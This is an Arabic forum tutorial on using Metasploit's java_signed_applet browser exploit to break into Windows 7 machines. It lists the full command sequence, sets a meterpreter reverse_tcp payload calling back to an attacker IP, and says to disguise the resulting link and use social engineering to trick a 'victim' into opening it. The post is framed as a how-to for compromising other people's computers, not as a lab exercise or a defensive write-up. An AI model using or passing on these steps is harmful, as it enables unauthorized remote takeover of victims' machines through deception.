[ شرح ] إستغلال ثغرة java_signed_applet

اليوم راح أشرح إستغلال ثغرة java_signed_applet


الثغرة أقل مأقول عنها جيد حسب تجربتي الشخصية لها

وهي فعالة في إختراق وندوز سفن

نبدء الإستغلال

1| نفتح الميتا بالأمر

[NOTE]msfconsole[/NOTE]

2| تمام تم فتح الميتا نضع كود الإستغلال تابع

[NOTE]use exploit/multi/browser/java_signed_applet
[/NOTE]

3| نختار بايلود المناسب أنا راح أختار بيلود meterpreter

[NOTE]set payload windows/meterpreter/reverse_tcp[/NOTE]

4| نكمل بقية الإستغلال ضع نفس الأوامر من أجل تجنب الأخطاء تابع

[NOTE]set uripath dev-point[/NOTE]

مكان dev-point ضع أي شئ جداب من أجل التمويه فقط لا غير

5| ضع نفس الأمر لاتغير شئ واضح وضوح الشمس

[NOTE]set srvport 8080
[/NOTE]

6| ضع إبي حقك بدل الإبي الموجود في الأمر

[NOTE]set SRVHOST 197.207.36.8 [/NOTE]

امر إستخراج الإبي للمبتدئين

ifconfig

7| أمر إدراج بورت التبليغ إنت ضع أي بورت مفتوح عندك

[NOTE]set lport 443
[/NOTE]

8| أمر إضافة إلى أين سيصل التبليغ يمكنك وضع النوإبي حقك لا كن الأحسن ضع إبي

[NOTE]set lhost 197.207.36.8[/NOTE]

9| أخر شئ أمر تشغيل الثغرة

[NOTE]exploit[/NOTE]

الأن اعطي ربط الناتج لضحية ومبروك عليك الإختراق

راح يكون الربط الناتج مثل دا

[NOTE]http://197.207.36.8:8080/dev-point[/NOTE]

تنويه

إدا لم يصلك التبليغ بعد إعطائك الربط لضحية لا تجي تقلي الثغر فاشل

لأنه عند إعطائك ربط يلزمك تستعمل تمويه لربط و أيضا تستعمل مع الضحية الهندسة الإجتماعية من

أجل خداعه لكي يقوم بفتح الربط


أرجوا أن يكون كلامي واضح


إدا أعجبك الموضوع لا تحرمنا من تقييمك وكلمتك الطيب


الإهدائات
|
|
|
|
^^

لك أنت